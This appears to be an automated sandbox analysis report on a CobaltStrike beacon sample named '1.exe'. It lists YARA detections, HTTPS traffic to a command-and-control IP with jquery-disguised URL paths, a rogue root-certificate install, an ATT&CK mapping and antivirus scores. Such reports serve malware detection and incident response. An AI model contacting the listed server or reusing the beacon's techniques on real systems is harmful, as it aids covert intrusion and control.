1.exe, 00000000.00000003.3102254380.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2883924322.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3025923840.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2987847144.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/roviderU
Source: 1.exe, 00000000.00000003.2630449376.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2688451879.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3158599501.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2591343411.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2611004523.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/tography

Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989

Source: unknown

HTTPS traffic detected: 45.116.78.127:443 -> 192.168.2.5:49704 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies CobaltStrike via unidentified function code Author: unknown
Source: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon sleep obfuscation routine Author: unknown
Source: 00000000.00000003.2047591169.000002B669FB0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown

Source: C:\Users\user\Desktop\1.exe

Code function: 0_2_00007FF7AD0414D8 VirtualProtect,VirtualProtect,GetModuleHandleA,GetProcAddress,NtFlushInstructionCache,GetCurrentProcess,NtFlushInstructionCache,VirtualProtect,

0_2_00007FF7AD0414D8

Source: C:\Users\user\Desktop\1.exe	Code function: 0_2_00007FF7AD044190	0_2_00007FF7AD044190
Source: C:\Users\user\Desktop\1.exe	Code function: 0_2_00007FF7AD045370	0_2_00007FF7AD045370
Source: C:\Users\user\Desktop\1.exe	Code function: 0_2_000002B66A0BFC3E	0_2_000002B66A0BFC3E
Source: C:\Users\user\Desktop\1.exe	Code function: 0_2_000002B66A0CA708	0_2_000002B66A0CA708
Source: C:\Users\user\Desktop\1.exe	Code function: 0_2_000002B66A0D7740	0_2_000002B66A0D7740
Source: C:\Users\user\Desktop\1.exe	Code function: 0_2_000002B66A0BFDD6	0_2_000002B66A0BFDD6
Source: C:\Users\user\Desktop\1.exe	Code function: 0_2_000002B66A0CD384	0_2_000002B66A0CD384
Source: C:\Users\user\Desktop\1.exe	Code function: 0_2_000002B66A0C4820	0_2_000002B66A0C4820
Source: C:\Users\user\Desktop\1.exe	Code function: 0_2_000002B66A0CC888	0_2_000002B66A0CC888
Source: C:\Users\user\Desktop\1.exe	Code function: 0_2_000002B66A0D80B0	0_2_000002B66A0D80B0
Source: C:\Users\user\Desktop\1.exe	Code function: 0_2_000002B66A0CC11C	0_2_000002B66A0CC11C

Source: 1.exe

Static PE information: Number of sections : 11 > 10

Source: 1.exe, 00000000.00000000.2025778844.00007FF7AD09C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameHipsMain.exeT vs 1.exe
Source: 1.exe	Binary or memory string: OriginalFilenameHipsMain.exeT vs 1.exe

Source: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_663fc95d os = windows, severity = x86, description = Identifies CobaltStrike via unidentified function code, creation_date = 2021-04-01, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = d0f781d7e485a7ecfbbfd068601e72430d57ef80fc92a993033deb1ddcee5c48, id = 663fc95d-2472-4d52-ad75-c5d86cfc885f, last_modified = 2021-12-17
Source: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_b54b94ac reference_sample = 36d32b1ed967f07a4bd19f5e671294d5359009c04835601f2cc40fb8b54f6a2a, os = windows, severity = x86, description = Rule for beacon sleep obfuscation routine, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = 2344dd7820656f18cfb774a89d89f5ab65d46cc7761c1f16b7e768df66aa41c8, id = b54b94ac-6ef8-4ee9-a8a6-f7324c1974ca, last_modified = 2022-01-13
Source: 00000000.00000003.2047591169.000002B669FB0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13

Source: classification engine

Classification label: mal100.troj.winEXE@1/1@0/1

Source: 1.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\1.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 1.exe	Virustotal: Detection: 56%
Source: 1.exe	ReversingLabs: Detection: 60%

Source: C:\Users\user\Desktop\1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Users\user\Desktop\1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: 1.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: 1.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source: 1.exe

Static PE information: section name: .xdata

Source: C:\Users\user\Desktop\1.exe	Code function: 0_3_000002B669FB851E push ebp; ret	0_3_000002B669FB8525
Source: C:\Users\user\Desktop\1.exe	Code function: 0_3_000002B669FB4506 push edx; ret	0_3_000002B669FB451E
Source: C:\Users\user\Desktop\1.exe	Code function: 0_3_000002B669FB84EF push es; ret	0_3_000002B669FB84F6
Source: C:\Users\user\Desktop\1.exe	Code function: 0_3_000002B669FB4C86 push esi; ret	0_3_000002B669FB4C8F
Source: C:\Users\user\Desktop\1.exe	Code function: 0_3_000002B669FB67AC push ebx; ret	0_3_000002B669FB681A
Source: C:\Users\user\Desktop\1.exe	Code function: 0_3_000002B669FB5EA0 push ecx; ret	0_3_000002B669FB5EB3
Source: C:\Users\user\Desktop\1.exe	Code function: 0_3_000002B669FB41ED push esi; ret	0_3_000002B669FB41F2
Source: C:\Users\user\Desktop\1.exe	Code function: 0_3_000002B669FB7980 push ecx; ret	0_3_000002B669FB799E
Source: C:\Users\user\Desktop\1.exe	Code function: 0_3_000002B669FB5849 push eax; ret	0_3_000002B669FB582A
Source: C:\Users\user\Desktop\1.exe	Code function: 0_3_000002B669FB581B push eax; ret	0_3_000002B669FB582A
Source: C:\Users\user\Desktop\1.exe	Code function: 0_3_000002B669FB680C push ebx; ret	0_3_000002B669FB681A
Source: C:\Users\user\Desktop\1.exe	Code function: 0_3_000002B669FB7371 push esp; ret	0_3_000002B669FB73A2
Source: C:\Users\user\Desktop\1.exe	Code function: 0_3_000002B669FB5B75 push edx; ret	0_3_000002B669FB5B3E
Source: C:\Users\user\Desktop\1.exe	Code function: 0_3_000002B669FB4B4F push esp; ret	0_3_000002B669FB4B58
Source: C:\Users\user\Desktop\1.exe	Code function: 0_3_000002B669FB734E push ebx; ret	0_3_000002B669FB736E
Source: C:\Users\user\Desktop\1.exe	Code function: 0_3_000002B669FB62E5 push ebp; ret	0_3_000002B669FB62E9
Source: C:\Users\user\Desktop\1.exe	Code function: 0_2_000002B66A0B971E push cs; retf	0_2_000002B66A0B971F
Source: C:\Users\user\Desktop\1.exe	Code function: 0_2_000002B66A0D5C04 push ebp; iretd	0_2_000002B66A0D5C05
Source: C:\Users\user\Desktop\1.exe	Code function: 0_2_000002B66A0BAD58 push ebp; iretd	0_2_000002B66A0BAD59
Source: C:\Users\user\Desktop\1.exe	Code function: 0_2_000002B66A0C6A40 push cs; ret	0_2_000002B66A0C6A4B
Source: C:\Users\user\Desktop\1.exe	Code function: 0_2_000002B66A0B935D push edi; iretd	0_2_000002B66A0B935E
Source: C:\Users\user\Desktop\1.exe	Code function: 0_2_000002B66A0D5BBB push ebp; iretd	0_2_000002B66A0D5BBC
Source: C:\Users\user\Desktop\1.exe	Code function: 0_2_000002B66A0D5BDB push ebp; iretd	0_2_000002B66A0D5BDC

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Users\user\Desktop\1.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob			Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob			Jump to behavior

Source: C:\Users\user\Desktop\1.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Users\user\Desktop\1.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: 1.exe, 00000000.00000002.3273403913.000002B669D3C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: 1.exe, 00000000.00000003.2450698374.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2649720745.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2834956072.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2412463885.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2221934852.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2630449376.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2688451879.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2922884622.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2337185318.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2883830642.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2903576644.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 1.exe, 00000000.00000003.2450698374.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2649720745.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2834956072.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2412463885.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2221934852.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2630449376.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2688451879.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2922884622.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2337185318.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2883830642.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2903576644.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW=

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\1.exe	Code function: 0_2_00007FF7AD041180 Sleep,Sleep,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_initterm,	0_2_00007FF7AD041180
Source: C:\Users\user\Desktop\1.exe	Code function: 0_2_00007FF7AD047FFA SetUnhandledExceptionFilter,	0_2_00007FF7AD047FFA
Source: C:\Users\user\Desktop\1.exe	Code function: 0_2_00007FF7AD099320 SetUnhandledExceptionFilter,TlsGetValue,	0_2_00007FF7AD099320

Source: C:\Users\user\Desktop\1.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\1.exe

Code function: 0_2_000002B66A0C2FA8 GetUserNameA,strrchr,_snprintf,

0_2_000002B66A0C2FA8

Source: C:\Users\user\Desktop\1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Remote Access Functionality

Yara detected CobaltStrike

Source: Yara match	File source: 00000000.00000002.3273708088.000002B66A0DC000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2047591169.000002B669FB0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1.exe PID: 5540, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Modify Registry	OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	1 Account Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Install Root Certificate	NTDS	1 System Owner/User Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
1.exe	57%	Virustotal		Browse
1.exe	61%	ReversingLabs	Win64.Trojan.CobaltStrike
1.exe	100%	Avira	HEUR/AGEN.1329646
1.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://45.116.78.127/jquery-3.3.1.min.jsj	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.jsi	0%	Avira URL Cloud	safe
https://45.116.78.127/16.78.127/der	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.jsh	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.jsm	0%	Avira URL Cloud	safe
https://45.116.78.127/crosic	0%	Avira URL Cloud	safe
45.116.78.127	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.jsicate	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.js-end-point:	0%	Avira URL Cloud	safe
https://45.116.78.127/p	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.jsi%	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.jsp	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.jss	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.jsv	0%	Avira URL Cloud	safe
https://45.116.78.127/roviderU	0%	Avira URL Cloud	safe
https://45.116.78.127/der	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.jsa	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.jsY	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.jse	0%	Avira URL Cloud	safe
https://45.116.78.127/16.78.127/l	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.js/rovider	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.jsG	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.jsQ	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.jsO	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.jsU	0%	Avira URL Cloud	safe
https://45.116.78.127/dep	0%	Avira URL Cloud	safe
https://45.116.78.127/)	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.jsdb-53011b87bd06ad	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.js=	0%	Avira URL Cloud	safe
https://45.116.78.127/16.78.127/	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.jsdb-53011b87bd06C	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.jsC	0%	Avira URL Cloud	safe
https://45.116.78.127/9	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.js)	0%	Avira URL Cloud	safe
https://45.116.78.127/=	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.js0	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.jsim	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.js.	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.js/	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.js5	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.jsic	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.jsdb-53011b87bd06	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.jsdb-53011b87bd06O	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.js/e	0%	Avira URL Cloud	safe
https://45.116.78.127/tography	0%	Avira URL Cloud	safe
https://45.116.78.127/M	0%	Avira URL Cloud	safe
